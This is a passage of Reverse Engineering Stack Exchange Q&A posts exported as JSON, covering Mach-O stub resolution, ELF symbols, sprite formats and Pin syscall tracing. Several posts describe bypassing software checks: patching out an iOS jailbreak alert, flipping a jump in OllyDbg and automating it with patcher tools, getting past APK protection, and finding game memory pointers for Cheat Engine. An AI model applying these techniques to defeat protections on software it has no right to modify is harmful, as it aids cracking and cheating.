00 00 00 00 00 00 00 00 00 00\n</code></pre>\n\n<p>You can see the point where the data does probably begin (arrow 1), you see a similar hex string <code>90 08 90 08 90 08</code>.</p>\n\n<p>You also see that the data in the screenshot-sprite probably begins with 10 byte-pairs (arrow 2). In the NORMAL.SET you find <code>0A 00</code>. Now I read about RLE and with some fantasy I could see a link between 10 byte-pairs and <code>0A 00</code> which I could translate into \"ten times a black pixel\".</p>\n\n<p>I am still confused why I see two blue sprites in the NORMAL.SET, where in the screenshot there is only one blue sphere. But that is something I would care about at a later time.</p>\n\n<p><strong>NOTE</strong><br>\nAt this point I am quite sure that I am on the right track! I think RLE decompression is the only thing missing here, besides figuring out where the data starts and what the headers are supposed to mean. Maybe they aren't even of much use to me.</p>\n\n<p>I am not sure, if I still have a question at the moment. If nobody disagrees, I would keep this here until I figured out the rest in the hopes that someday, to someone this will be helpful. I will update this as soon as I solved the riddle.</p>\n\n<p>Until the, if you got a a solution for the RLE ready, don't be shy to post ;)</p>\n",
        "Title": "Some help with sprite graphic",
        "Tags": "|digital-forensics|binary-format|",
        "Answer": "<p>The quick answer is:</p>\n\n<p><code>14 00</code> are the first two bytes of a sprite. The raw bitmap data starts at offset 20, in this case with <code>03 00 0A 00</code>. The file is RLE encoded, <code>03 00</code> being the escape sequence and <code>0A 00</code> is telling me that 20 pixels with <code>00 00</code> (16 bpp) follow.</p>\n\n<p>With this information I was able to reverse engineer the sprite group.</p>\n"
    },
    {
        "Id": "8146",
        "CreationDate": "2015-02-01T22:46:41.923",
        "Body": "<p>I've had two laptops, one Sony and another Acer. Sony laptops backlight can be decreased quite a bit, however the Acer laptops backlight brightness is too much.</p>\n\n<p>I was wondering where these values sit and if there is a possibility to lower the laptop screen backlight brightness any lower than their current settings.</p>\n\n<p>I don't know if this question belongs here but I've asked around a bit in forums and usual answer is to simply decrease brightness using GPU software. Yet this does nothing to the actual backlights, which in the night are eye piercing.</p>\n",
        "Title": "Laptop monitor backlight",
        "Tags": "|hardware|",
        "Answer": "<p>According to the official <a href=\"http://global-download.acer.com/GDFiles/Document/QuickStartGuide/QuickStartGuide_Acer_1.0_A_A.zip?acerid=634304197158565322&amp;Step1=NOTEBOOK&amp;Step2=ASPIRE&amp;Step3=ASPIRE%205750G&amp;OS=ALL&amp;LC=en&amp;BC=ACER&amp;SC=PA_6\" rel=\"nofollow noreferrer\">Quick Guide for the Acer Aspire 5750G</a>, you can use <kbd>Fn</kbd>+<kbd>F6</kbd> to turn the backlight completely off, and you can use <kbd>Fn</kbd>+<kbd>\u25b7</kbd> and <kbd>Fn</kbd>+<kbd>\u25c1</kbd> to increase or decrease the screen brightness, respectively:</p>\n\n<p><img src=\"https://i.stack.imgur.com/SlUfo.png\" alt=\"5750G\"></p>\n\n<p>The Acer Aspire 5750G has an Intel HD Graphics 3000 integrated graphics processor. So if you need more fine-grained control over the brightness, use the Intel HD Graphics Control Panel (<a href=\"http://global-download.acer.com/GDFiles/Driver/VGA/VGA_Intel_8.15.10.2342_W7x86W7x64_A.zip?acerid=634761931954606771&amp;Step1=NOTEBOOK&amp;Step2=ASPIRE&amp;Step3=ASPIRE%205750G&amp;OS=ALL&amp;LC=en&amp;BC=ACER&amp;SC=PA_6\" rel=\"nofollow noreferrer\">latest drivers for your laptop</a>) to manually adjust the backlight brightness:</p>\n\n<p><img src=\"https://i.stack.imgur.com/6Z4nm.jpg\" alt=\"Intel HD Graphics Control Panel\"></p>\n"
    },
    {
        "Id": "8154",
        "CreationDate": "2015-02-03T09:41:31.820",
        "Body": "<p>On Linux the <em>strace.so</em> pintool gives a good overview on how system calls are intercepted in PIN. One could monitor the value of <code>EAX</code> to see which system call is being invoked(and mprotect and writes could be intercepted in the fashion).</p>\n\n<p>How could we do something similar for Windows? I see that the <code>int 2e</code> interrupt is used to trap into the kernel and that the system calls numbers are given at <a href=\"http://j00ru.vexillium.org/ntapi/\" rel=\"nofollow\">here</a>. Is <code>NtWriteFile</code> the analogue of <code>write</code>? Also is <code>NtProtectVirtualMemory</code> the analogue of <code>mprotect</code>?</p>\n",
        "Title": "pintool to intercept writes and VirtualProtect",
        "Tags": "|operating-systems|pintool|system-call|",
        "Answer": "<p>Pintools on Windows can also aid you in instrumenting system calls. Also, if its discovered that the cpu supports <code>sysenter</code>/<code>syscall</code>, those are used in place of <code>int 2e</code>. However, this has no bearing on whether or not instrumentation can take place.</p>\n\n<p>To answer your second question, yes, <code>NtReadFile</code>, <code>NtWriteFile</code> and <code>NtDeviceIoControlFile</code> are the *nix equivalent of <code>read</code>/<code>write</code>/<code>ioctl</code>.</p>\n"
    },
    {
        "Id": "8163",
        "CreationDate": "2015-02-05T16:25:42.513",
        "Body": "<p>Before exposing my problem, here's my understanding of the whole thing, so that you may correct me if I'm saying something wrong.</p>\n\n<p>In a Mach-O file (at least on x86), the <code>__TEXT.__stubs</code> section typically has stubs in it that all consist of a single indirect jump, like this:</p>\n\n<pre><code>; __TEXT.__stubs\n; symbol stub for unlink:\n0x100000f46:  jmpq   *0xc4(%rip)\n; symbol stub for puts:\n0x100000f4c:  jmpq   *0xc6(%rip)\n</code></pre>\n\n<p>These point to a location inside the <code>__DATA.__nl_symbol_ptr</code> section. The pointer initially goes to a stub helper in the <code>__TEXT.__stub_helper</code> section:</p>\n\n<pre><code>; __TEXT.__stub_helper\n; stub helper for unlink\n0x100000f64:  pushq  $0x0\n0x100000f69:  jmp    0x100000f54\n; stub helper for puts\n0x100000f6e:  pushq  $0xe\n0x100000f73:  jmp    0x100000f54\n</code></pre>\n\n<p>The stub helper calls <code>dyld_stub_binder</code>, which uses the pushed argument to figure out which stub it is and which function it needs to look up, then replaces the value in <code>__DATA.__nl_symbol_ptr</code> with the resolved address, and then hand over control to the function that was found (which then returns to the calling code normally).</p>\n\n<p>To assist debugging, debuggers find stubs and pretend that they have symbols for them. In this example program, whenever lldb sees <code>call 0x100000f58</code>, it determines that the stub should point to <code>unlink</code>, and says <code>call 0x100000f58 ; symbol stub for: unlink</code> in the disassembly.</p>\n\n<p>However, lldb does not use the pushed value: it appears to <a href=\"https://github.com/llvm-mirror/lldb/blob/5b0324a42cae28a07bc3683c6757dc1533b8fa0d/source/Plugins/ObjectFile/Mach-O/ObjectFileMachO.cpp#L4375\" rel=\"noreferrer\">rely on the static linker placing undefined symbols and stubs in the same order</a>, or some variant of that. Just like that, it looks more like a heuristic than a precise way to figure out which stub goes where, unless there's something else preventing you from tampering.</p>\n\n<p>So how do I reliably find which function is called by a stub? In the stub helpers, what do the constants in <code>pushq $constant</code> mean?</p>\n",
        "Title": "In a Mach-O executable, how can I find which function a stub targets?",
        "Tags": "|osx|symbols|mach-o|",
        "Answer": "<p>I <a href=\"https://github.com/zneak/fcd/blob/b29b4ac/scripts/macho.py#L307\" rel=\"noreferrer\">wrote</a> a Python script that parses entry points and imports from a Mach-O executable for one of my projects. The trick is to parse the <code>LC_DYLD</code> or <code>LC_DYLD_ONLY</code> loader commands. These two commands encode three import tables: bound symbols, weak symbols, and lazy symbols.</p>\n\n<pre><code>struct dyld_info_command {\n  uint32_t cmd;\n  uint32_t cmdsize;\n  uint32_t rebase_off;\n  uint32_t rebase_size;\n  uint32_t bind_off;\n  uint32_t bind_size;\n  uint32_t weak_bind_off;\n  uint32_t weak_bind_size;\n  uint32_t lazy_bind_off;\n  uint32_t lazy_bind_size;\n  uint32_t export_off;\n  uint32_t export_size;\n};\n</code></pre>\n\n<p>The interesting fields are <code>bind_off</code>, <code>bind_size</code>, <code>weak_bind_off</code>, <code>weak_bind_size</code>, <code>lazy_bind_off</code> and <code>lazy_bind_size</code>. Each pair encodes the offset and size of a block of data, inside the executable file, that contains the import table opcodes.</p>\n\n<p>Each of these tables can be seen as having four (useful) columns: the segment, segment offset, library name and symbol name. Together, the segment and segment offset indicate the address where the symbol's actual address will be written to (so for instance, if you have <code>__TEXT</code> and 0x40, this conceptually means that <code>*(__TEXT+0x40) == resolvedSymbolAddress</code>).</p>\n\n<p>The table is encoded as a stream of opcodes for compression purposes. The opcodes control a state machine that contains state for a would-be symbol, has operations to manipulate that state, and operations to \"bind\" a symbol (take all that state and make it a part of the symbol table). For instance, you could see:</p>\n\n<ul>\n<li>set segment to __TEXT</li>\n<li>set offset to 0x40</li>\n<li>set library to libSystem.dylib</li>\n<li>set symbol name to \"printf\"</li>\n<li>bind symbol</li>\n<li>set offset to 0x48</li>\n<li>set symbol name to \"scanf\"</li>\n<li>bind symbol</li>\n</ul>\n\n<p>At the end of this sequence, you get two symbols: printf and scanf, whose addresses are located at __TEXT+0x40 and __TEXT+0x48 respectively, from libSystem.dylib. This means that if you see an instruction like <code>jmp [__TEXT+0x48]</code> (an indirect jump to the address contained at <code>__TEXT+0x48</code>), you know that you're going to <code>scanf</code>. This is how you can tell the destination of stubs.</p>\n\n<p>Each opcode is at least 1 byte, separated as 0xCI (where C is the command name, and I is an immediate value, both 4 bits). When the command needs a larger operand (or more operands), they are encoded in <a href=\"https://en.wikipedia.org/wiki/LEB128\" rel=\"noreferrer\">ULEB-128</a> format (except for <code>BIND_OPCODE_SET_ADDEND_SLEB</code>, which uses signed LEB, but we don't really care about it for the purpose of finding imports).</p>\n\n<pre><code>def readUleb(data, offset):\n    byte = ord(data[offset])\n    offset += 1\n\n    result = byte &amp; 0x7f\n    shift = 7\n    while byte &amp; 0x80:\n        byte = ord(data[offset])\n        result |= (byte &amp; 0x7f) &lt;&lt; shift\n        shift += 7\n        offset += 1\n    return (result, offset)\n</code></pre>\n\n<p>Libraries aren't actually identified by their names in the command stream. Rather, libraries are identified by their <strong>one-based</strong> \"library ordinal\", which is just the index of the library within all the <code>LC_LOAD_DYLIB</code>, <code>LC_LOAD_WEAK_DYLIB</code>, <code>LC_REEXPORT_DYLIB</code> and <code>LC_LOAD_UPWARD_DYLIB</code> loader commands. For instance, if an executable has a <code>LC_LOAD_DYLIB</code> command for libSystem and then one for libFoobar, libSystem has ordinal 1 and libFoobar has ordinal 2.</p>\n\n<p>There are three special values: ordinal -2 means that the symbol is looked up in the flat namespace (first library with a symbol with that name wins); ordinal -1 looks for a symbol in the main executable, whatever it is; and ordinal 0 looks for a symbol within this file. As we've said above, ordinal 1 and above refer to libraries.</p>\n\n<p>Symbol names are encoded within the command blob as null-terminated strings.</p>\n\n<p>Each opcode is easily described in code, so I'll spare us the description of each.   </p>\n\n<pre><code>BIND_OPCODE_DONE = 0\nBIND_OPCODE_SET_DYLIB_ORDINAL_IMM = 1\nBIND_OPCODE_SET_DYLIB_ORDINAL_ULEB = 2\nBIND_OPCODE_SET_DYLIB_SPECIAL_IMM = 3\nBIND_OPCODE_SET_SYMBOL_TRAILING_FLAGS_IMM = 4\nBIND_OPCODE_SET_TYPE_IMM = 5\nBIND_OPCODE_SET_ADDEND_SLEB = 6\nBIND_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB = 7\nBIND_OPCODE_ADD_ADDR_ULEB = 8\nBIND_OPCODE_DO_BIND = 9\nBIND_OPCODE_DO_BIND_ADD_ADDR_ULEB = 10\nBIND_OPCODE_DO_BIND_ADD_ADDR_IMM_SCALED = 11\nBIND_OPCODE_DO_BIND_ULEB_TIMES_SKIPPING_ULEB = 12\n\ndef parseImports(self, offset, size):\n    pointerWidth = self.bitness / 8\n    slice = self.data[offset:offset+size]\n    index = 0\n\n    name = \"\"\n    segment = 0\n    segmentOffset = 0\n    libOrdinal = 0\n\n    stubs = []\n    def addStub():\n        stubs.append((segment, segmentOffset, libOrdinal, name))\n\n    while index != len(slice):\n        byte = ord(slice[index])\n        opcode = byte &gt;&gt; 4\n        immediate = byte &amp; 0xf\n        index += 1\n\n        if opcode == BIND_OPCODE_DONE:\n            pass\n        elif opcode == BIND_OPCODE_SET_DYLIB_ORDINAL_IMM:\n            libOrdinal = immediate\n        elif opcode == BIND_OPCODE_SET_DYLIB_ORDINAL_ULEB:\n            libOrdinal, index = self.__readUleb(slice, index)\n        elif opcode == BIND_OPCODE_SET_DYLIB_SPECIAL_IMM:\n            libOrdinal = -immediate\n        elif opcode == BIND_OPCODE_SET_SYMBOL_TRAILING_FLAGS_IMM:\n            nameEnd = slice.find(\"\\0\", index)\n            name = slice[index:nameEnd]\n            index = nameEnd\n        elif opcode == BIND_OPCODE_SET_TYPE_IMM:\n            pass\n        elif opcode == BIND_OPCODE_SET_ADDEND_SLEB:\n            _, index = self.__readUleb(slice, index)\n        elif opcode == BIND_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB:\n            segment = immediate\n            segmentOffset, index = self.__readUleb(slice, index)\n        elif opcode == BIND_OPCODE_ADD_ADDR_ULEB:\n            addend, index = self.__readUleb(slice, index)\n            segmentOffset += addend\n        elif opcode == BIND_OPCODE_DO_BIND:\n            addStub()\n        elif opcode == BIND_OPCODE_DO_BIND_ADD_ADDR_ULEB:\n            addStub()\n            addend, index = self.__readUleb(slice, index)\n            segmentOffset += addend\n        elif opcode == BIND_OPCODE_DO_BIND_ADD_ADDR_IMM_SCALED:\n            addStub()\n            segmentOffset += immediate * pointerWidth\n        elif opcode == BIND_OPCODE_DO_BIND_ULEB_TIMES_SKIPPING_ULEB:\n            times, index = self.__readUleb(slice, index)\n            skip, index = self.__readUleb(slice, index)\n            for i in range(times):\n                addStub()\n                segmentOffset += pointerWidth + skip\n        else:\n            sys.stderr.write(\"warning: unknown bind opcode %u, immediate %u\\n\" % (opcode, immediate))\n</code></pre>\n"
    },
    {
        "Id": "8166",
        "CreationDate": "2015-02-05T22:44:34.423",
        "Body": "<p>The test is on Ubuntu 12.04, 32-bit, with <code>gcc</code> 4.6.3.</p>\n\n<p>Basically I am doing some binary manipulation work on ELF binaries, and what I have to do now is to assemble a assembly program and guarantee the libc symbols are loaded to a predefined address by me.</p>\n\n<p>Let me elaborate it in an simple example.</p>\n\n<p>Suppose in the original code, libc symbols <code>stdout@GLIBC_2.0</code> is used. </p>\n\n<pre><code>#include &lt;stdio.h&gt;\nint main() {\n    FILE* fout = stdout;\n    fprintf( fout, \"hello\\n\" );\n}\n</code></pre>\n\n<p>When I compile it and check the symbol address using these commands:</p>\n\n<pre><code>gcc main.c\nreadelf -s a.out | grep stdout\n</code></pre>\n\n<p>I got this:</p>\n\n<pre><code>0804a020     4 OBJECT  GLOBAL DEFAULT   25 stdout@GLIBC_2.0 (2)\n0804a020     4 OBJECT  GLOBAL DEFAULT   25 stdout@@GLIBC_2.0\n</code></pre>\n\n<p>and the <code>.bss</code> section is like this:</p>\n\n<pre><code>  readelf -S a.out | grep bss\n  [25] .bss              NOBITS          0804a020 001014 00000c 00  WA  0   0 32\n</code></pre>\n\n<p>Now what I am trying to do is to load the <code>stdout</code> symbol in a predefined address, so I did this:</p>\n\n<pre><code>echo \"stdout = 0x804a024;\" &gt; symbolfile\ngcc -Wl,--just-symbols=symbolfile  main.c\n</code></pre>\n\n<p>Then when I check the <code>.bss</code> section and symbol <code>stdout</code>, I got this:</p>\n\n<pre><code> [25] .bss              NOBITS          0804a014 001014 000008 00  WA  0   0  4\n\n\n4: 0804a024     0 NOTYPE  GLOBAL DEFAULT  ABS stdout\n49: 0804a024     0 NOTYPE  GLOBAL DEFAULT  ABS stdout\n</code></pre>\n\n<ol>\n<li><p>It seems that I didn't successfully load the symbol <code>stdout@@GLIBC_2.0</code>, but just a wired <code>stdout</code>. (I tried to write <code>stdout@@GLIBC_2.0</code> in <code>symbolfile</code>, but it can't compile... )</p></li>\n<li><p>It seems that as I didn't make it, the beginning address of <code>.bss</code> section has also changed, which makes the address of <code>stdout</code> symbol in a non-section area. During runtime, it throws a segmentation fault when loading from <code>0x804a024</code>. </p></li>\n</ol>\n\n<p>Could anyone help me on how to successfully load the library symbol at a predefined address? Thanks!  </p>\n",
        "Title": "How to load library defined symbols to a specified location?",
        "Tags": "|assembly|c|elf|dynamic-linking|",
        "Answer": "<p>in the code (or in the linker command file) create a memory name (say .stdio) and give it a specific address.  then write a section statement: '.stdio' and list the 'stdio.text'  will then be the first thing in the memory .stdio section.  The linker command file can also have a global name at the .stdio section, that can be referenced from within a program.</p>\n"
    },
    {
        "Id": "8172",
        "CreationDate": "2015-02-06T20:43:57.853",
        "Body": "<p>it's me again. I am working on a tool can that disassemble/reassemble stripped binaries and now I am sucked in a (external) symbol reuse issue.</p>\n\n<p>The test is on 32-bit Linux x86 platform. </p>\n\n<p>Suppose I am working on a C++ program, in the <code>GCC</code> compiler produced assembly code, there exists some instructions like this:</p>\n\n<pre><code>call    _ZNSt8ios_baseC2Ev\nmovl    _ZTTSt14basic_ifstreamIcSt11char_traitsIcEE+4, %ebx\nmovb    $0, 312(%esp)\nmovl    _ZTTSt14basic_ifstreamIcSt11char_traitsIcEE+8, %ecx\n....\n</code></pre>\n\n<p>Please pay special attention to symbol <code>_ZTTSt14basic_ifstreamIcSt11char_traitsIcEE</code>.</p>\n\n<p>After the compilation, suppose I get an <code>unstripped</code> binary, and i checked this symbol like this:</p>\n\n<pre><code>readelf -s a.out | grep \"_ZTTSt14basic\"\n69: 080a7390    16 OBJECT  WEAK   DEFAULT   27 _ZTTSt14basic_ifstreamIcS@GLIBCXX_3.4 (3)\n72: 080a7220    16 OBJECT  WEAK   DEFAULT   27 _ZTTSt14basic_ofstreamIcS@GLIBCXX_3.4 (3)\n705: 080a7220    16 OBJECT  WEAK   DEFAULT   27 _ZTTSt14basic_ofstreamIcS\n1033: 080a7390    16 OBJECT  WEAK   DEFAULT   27 _ZTTSt14basic_ifstreamIcS\n</code></pre>\n\n<p>See, this is my first question, <strong>why the name of symbol <code>_ZTTSt14basic_ifstreamIcSt11char_traitsIcEE</code> modified to <code>_ZTTSt14basic_ifstreamIcS</code> and <code>_ZTTSt14basic_ifstreamIcS@GLIBCXX_3.4 (3)</code> ?</strong> </p>\n\n<p>What is <code>_ZTTSt14basic_ifstreamIcS@GLIBCXX_3.4 (3)</code> though?</p>\n\n<p>Then I stripped the binary like this:</p>\n\n<pre><code>strip a.out\nreadelf -s a.out | grep \"_ZTTSt14basic\"\n69: 080a7390    16 OBJECT  WEAK   DEFAULT   27 _ZTTSt14basic_ifstreamIcS@GLIBCXX_3.4 (3)\n72: 080a7220    16 OBJECT  WEAK   DEFAULT   27 _ZTTSt14basic_ofstreamIcS@GLIBCXX_3.4 (3)\n</code></pre>\n\n<p>Then after I disassemble the binary, and the corresponding disassembled assembly instructions are :</p>\n\n<pre><code> 8063ee7:       e8 84 54 fe ff          call   8049370 &lt;_ZNSt8ios_baseC2Ev@plt&gt;\n 8063eec:       8b 1d 94 73 0a 08       mov    0x80a7394,%ebx\n 8063ef2:       c6 84 24 38 01 00 00    movb   $0x0,0x138(%esp)\n 8063ef9:       00\n 8063efa:       8b 0d 98 73 0a 08       mov    0x80a7398,%ecx\n</code></pre>\n\n<p>At this point we can figure out that 0x80a7394 equals to <code>_ZTTSt14basic_ifstreamIcSt11char_traitsIcEE+4</code>. </p>\n\n<p>In order to reuse these instructions, I modified the code:</p>\n\n<pre><code>call _ZNSt8ios_baseC2Ev\nmov _ZTTSt14basic_ifstreamIcS+4,%ebx\nmovb $0x0,0x138(%esp)\nmov _ZTTSt14basic_ifstreamIcS+8,%ecx\n</code></pre>\n\n<p>And did some update like these (please see this <a href=\"https://stackoverflow.com/questions/28355292/how-to-load-library-defined-symbols-to-a-specified-location\">question</a> for reference):</p>\n\n<pre><code>echo \"\"_ZTTSt14basic_ifstreamIcS@GLIBCXX_3.4 (3)\" = 0x080a7390;\" &gt; symbolfile\ng++ -Wl,--just-symbols=symbolfile  final.s\n\nreadelf -s a.out | grep \"_ZTTSt14basic\"\n\n3001: 080a7390     0 NOTYPE  LOCAL  DEFAULT   27 _ZTTSt14basic_ifstreamIcS\n8412: 080a7390     0 NOTYPE  GLOBAL DEFAULT  ABS _ZTTSt14basic_ifstreamIcS\n</code></pre>\n\n<p>I debugged the newly produced binary, and to my surprise, in the newly produced binary, symbol <code>_ZTTSt14basic_ifstreamIcS</code> does not get any value after the function call of <code>_ZNSt8ios_baseC2Ev</code>, while in the original binary, after the function call, <code>_ZTTSt14basic_ifstreamIcS</code> do get some memory address referring to library section.  Which means:</p>\n\n<pre><code>call _ZNSt8ios_baseC2Ev\nmov _ZTTSt14basic_ifstreamIcS+4,%ebx  &lt;--- %ebx gets zero!\nmovb $0x0,0x138(%esp)\nmov _ZTTSt14basic_ifstreamIcS+8,%ecx  &lt;--- %ecx gets zero!\n</code></pre>\n\n<p>I must state that in these lines of the original binary, registers %ebx and %ecx both gets some addresses referring to the libc section. </p>\n\n<p>This is my second question, why does symbol <code>_ZTTSt14basic_ifstreamIcS</code> didn't get any value after function call <code>_ZNSt8ios_baseC2Ev</code>? I also tried with symbol name <code>_ZTTSt14basic_ifstreamIcSt11char_traitsIcEE</code>. But that does not work also.</p>\n\n<p>Am I clear enough? Could anyone save my ass? thank you!</p>\n",
        "Title": "Reuse symbols in disassembling/reassembling a C++ program",
        "Tags": "|disassembly|assembly|elf|symbols|reassembly|",
        "Answer": "<p>old question, but I think I can answer a part of it</p>\n\n<blockquote>\n  <p>why the name of symbol _ZTTSt14basic_ifstreamIcSt11char_traitsIcEE\n  modified to _ZTTSt14basic_ifstreamIcS</p>\n</blockquote>\n\n<p>I think you've just run into as terminal width limit. By default <code>readelf</code> limits output lines to 80 characters, you neeed to pass <code>-W</code> to disable it:</p>\n\n<pre><code>-W --wide              Allow output width to exceed 80 characters\n</code></pre>\n"
    },
    {
        "Id": "8177",
        "CreationDate": "2015-02-07T18:06:30.313",
        "Body": "<p>this maybe total no brainer but i'm really new to this and i'd really appreciate some help!</p>\n\n<p>Basically i'm trying to patch(out aka nop) a obj-c function inside an iOS Application. I've successfully decrypted it and i'm able to disassemble it with otool. Needless to say the original application was stripped so no structure in the disassembly. </p>\n\n<p>I then heard about <code>class-dump-z</code> which is modified version of class dump with the ability to give you the VM Address of a given Function Implementation.</p>\n\n<p>Output of <code>class-dump-z -A</code>:</p>\n\n<pre><code>#import &lt;XXUnknownSuperclass.h&gt; // Unknown library\n#import \"SomeHeader.h\"\n\n@class NSString;\n\n__attribute__((visibility(\"hidden\")))\n@interface CensoredClassName : XXUnknownSuperclass &lt;SomeDelegate&gt; {\n}\n@property(readonly, copy) NSString* debugDescription;\n@property(readonly, copy) NSString* description;\n@property(readonly, assign) Class superclass;\n@property(readonly, assign) unsigned hash;\n-(void)showJailbreakAlert;  // 0x1498d &lt;--Patch this Method\n@end\n</code></pre>\n\n<p>My Question: How to translate the given Implementation VM Address to binary File Offset which I can patch?\nOr even better how can i find the Method in the TEXT Disassembly? Simply Searching for the offset inside the disassembly generated with the <code>otool -tV</code> command does not return any result.</p>\n\n<p>Thank you very much in Advance</p>\n\n<p>Malte</p>\n\n<p>P.S. Link to Class-Dump-Z Google code Page:<a href=\"https://code.google.com/p/networkpx/wiki/class_dump_z&quot;&quot;\" rel=\"nofollow\">here</a></p>\n",
        "Title": "Convert Mach-O VM Address To File Offset",
        "Tags": "|disassembly|ios|patching|",
        "Answer": "<blockquote>\n<p>file_offset= address - segment.address + segment.offset + fat_arch.offset</p>\n</blockquote>\n<p>If does not contain <code>Fat headers</code> then <code>fat_arch.offset = 0</code></p>\n<p>Check if fat: <code>otool -fh</code> or <code>lipo -detailed_info</code></p>\n<pre><code>Architectures in the fat file: MyBinary are: x86_64 arm64\n\nFat headers\nfat_magic 0xcafebabe\nnfat_arch 2\narchitecture 0\n    ...\n    offset 16384    &lt;== fat_arch.offset for x86_64\n    size 58720\narchitecture 1\n    ...\n    offset 81920    &lt;== fat_arch.offset for arm64\n    size 73072\n</code></pre>\n<p>Assume we need x86_64 offset for 0000000100001921</p>\n<pre><code>$ otool -tVj -arch x86_64 -function_offsets MyBinary | head -3\n   +0 0000000100001920  55                  pushq   %rbp\n=&gt; +1 0000000100001921  4889e5              movq    %rsp, %rbp\n   +4 0000000100001924  53                  pushq   %rbx\n</code></pre>\n<p>then</p>\n<pre><code>$ otool -l -arch x86_64 MyBinary | grep __text -A 5\nsectname __text\n segname __TEXT\n   addr 0x0000000100001920    &lt;== segment.address\n   size 0x000000000000160a\n offset 6432                  &lt;== segment.offset\n  align 2^4 (16) \n</code></pre>\n<blockquote>\n<p>$ printf '0x%x\\n' $(( 0x0000000100001921 - 0x0000000100001920 + 6432 + 16384 ))</p>\n</blockquote>\n<p><code>0x5921</code></p>\n<pre><code>$ xxd -s 0x5921  -l 32 -c 16 MyBinary\n=&gt; 00005921: 4889 e553 5048 8b3d 5b2d 0000 e8ca 1600  H..SPH.=[-......\n   00005931: 0048 8b35 ff2c 0000 4889 c7e8 6116 0000  .H.5.,..H...a...\n</code></pre>\n"
    },
    {
        "Id": "8178",
        "CreationDate": "2015-02-07T22:30:55.803",
        "Body": "<p>In Olly I managed to patch the file to no longer compare for a specific flag. Is it possible to automate this?</p>\n\n<p>Basically I changed a JNZ to a JZ.</p>\n\n<p>Is there a way to could do the same thing with a hex editor? </p>\n\n<p>The end goal would be to create a program to automate this patch.</p>\n\n<p>Thanks.</p>\n",
        "Title": "OllyDBG, managed to patch file, now can I automate this?",
        "Tags": "|ollydbg|",
        "Answer": "<p>If you want a patch tool you dont need to code it. Use dUP (diablo2oo2 Universal Patcher) or R!SC Process Patcher to easily create a .exe that patches your defined offsets with your defined values.</p>\n"
    },
    {
        "Id": "8181",
        "CreationDate": "2015-02-08T00:43:04.580",
        "Body": "<p>Ive a problem.\nI am unable to decompile a game apk successfully. I am using apktool. \nI get many errors and but i get thw files. But then many of its smali files doesnt have a .end method in its code which makes a recompile impossible.</p>\n\n<p>Can someone help me or decompile it?</p>\n\n<p>Its this file <a href=\"https://www.dropbox.com/s/05kj2x4zie734b9/com.asobimo.iruna_en-1.apk?dl=0\" rel=\"nofollow\">https://www.dropbox.com/s/05kj2x4zie734b9/com.asobimo.iruna_en-1.apk?dl=0</a></p>\n\n<p>Thanks in advance </p>\n\n<p>//Edit: I figured out why it didnt work as I wanted to. The game has some kind of protection in apk since this year. So I used an older version of apk from 2014, and edited its files and set its version to actual version with APK Edit v0.4. Then save new apk and im fine =)\nThanks though for you help</p>\n",
        "Title": "Error decompiling apk",
        "Tags": "|decompile|apk|",
        "Answer": "<p>For various reasons, it is generally not possible to decompile a non-trivial program to the point where it can be correctly recompiled. Among other things, there's a lot of things you can do in bytecode that don't correspond to Java language features, and even in the ideal case, it is hard to restructure certain complex code. </p>\n\n<p>Decompilation is useful for understanding code, but if you want to edit it, you need to learn how to patch things at the bytecode level. The easiest way to do this for APKs is using baksmali. </p>\n\n<p>Running baksmali gives you a directory with a smali file for each class in the dex file. You can then edit the smali to make the changes you want, and run smali to reassemble everything into a new dex file. Then of course you have to add your <code>classes.dex</code> back into the apk, then sign and format it.</p>\n"
    },
    {
        "Id": "8186",
        "CreationDate": "2015-02-09T11:45:13.567",
        "Body": "<p>I found an assembler instruction: <code>mov [esi+2F],dl</code>. I think ESI is a reference to a struct or class. <code>0x2F</code> is the offset that references a property of the struct/class. Is it possible to find the value of the ESI register? I think this class or struct is initialized when the game is started.</p>\n\n<p>For example, I tried to reverse GTA San Andreas. A lot of memory addresses of the GTA SA <a href=\"http://www.gtamodding.com/?title=Memory_Addresses_%28SA%29\" rel=\"nofollow\">here</a>.</p>\n\n<p>I've found such information in this site: 0xB6F5F0 - Player pointer (CPed).</p>\n\n<p>I think it's address that I finding now. But how I can find it with debugger like cheat-engine without pointer scan? I'd like to find addresses in asm code. It's possible?</p>\n\n<p>I tried to set a breakpoint to the instruction. But I think it's useless because ESI address is dynamic. As I understand CPed struct/class uses dynamic memory allocation.</p>\n\n<p>I am sorry for my bad English and thanks in advance.</p>\n",
        "Title": "Is it possible to find static pointer with disassembler?",
        "Tags": "|disassembly|debuggers|pointer|",
        "Answer": "<h1>Yes, it is possible</h1>\n\n<p>I'm going to explain you a bit how most games do it (I have never reversed any GTA but I suppose it's something like this anyway).</p>\n\n<p>I'm going to cover static and dynamic allocation of structures.</p>\n\n<hr>\n\n<p><strong>The static way:</strong></p>\n\n<pre><code>GlobalGameInfo g_info;\n// ...\ng_info.some_data = 1;\n</code></pre>\n\n<p>This is what ends up being a static offset in IDA, like so:</p>\n\n<pre><code>lea eax, [g_info + 0xAABB] ; suppose 0xAABB is the offset for 'some_data'\nmov [eax], 1;\n</code></pre>\n\n<p><code>g_info</code> is always going to stay at the same offset, so once you find it, you can just use <code>g_info + offset</code> to get your data.</p>\n\n<p><strong>The dynamic way:</strong></p>\n\n<pre><code>Player* players; // can be defined as Player* players[&lt;count&gt;] or Player** players;\n                 // it's the same\n// ...\nplayers = new Player[players_count];\n// ...\nplayers[1].alive = false;\n</code></pre>\n\n<p>Which then results in:</p>\n\n<pre><code>; this is a static location which is actually the \"players\" variable\n; and it contains an address which points to the offset in memory of the\n; actual players structure\ndword_xxxx dd ?\n</code></pre>\n\n<p>So to use it in e.g. Cheat Engine, you <code>Add a new address</code>, check <code>Pointer</code>, add the <code>xxxx</code> part of <code>dword_xxxx</code>, and in offset, put your desired offset.\nFor example, to get <code>players[1].alive</code>, with <code>alive</code> being on offset e.g. 0x100, you'd calculate:</p>\n\n<pre><code>value_stored_in_dword_xxxx + sizeof(Player) * player_id + 0x100\n</code></pre>\n\n<p>So if <code>dword_xxxx</code> -> <code>0xAABBCCDD</code>, <code>sizeof(Player)</code> -> <code>0x204</code>, <code>player_id</code> -> <code>8</code>, and <code>offset</code> -> <code>0x100</code>, your calculation would be:</p>\n\n<pre><code>0xAABBCCDD + (0x204 * 8) + 0x100\n// ^base      ^size   ^id  ^offset\n</code></pre>\n\n<hr>\n\n<h2>The example</h2>\n\n<p>Since you gave us <code>mov [esi + 0x2F], dl</code>:</p>\n\n<ul>\n<li><code>esi</code> is a pointer to the structure. Look above (in the 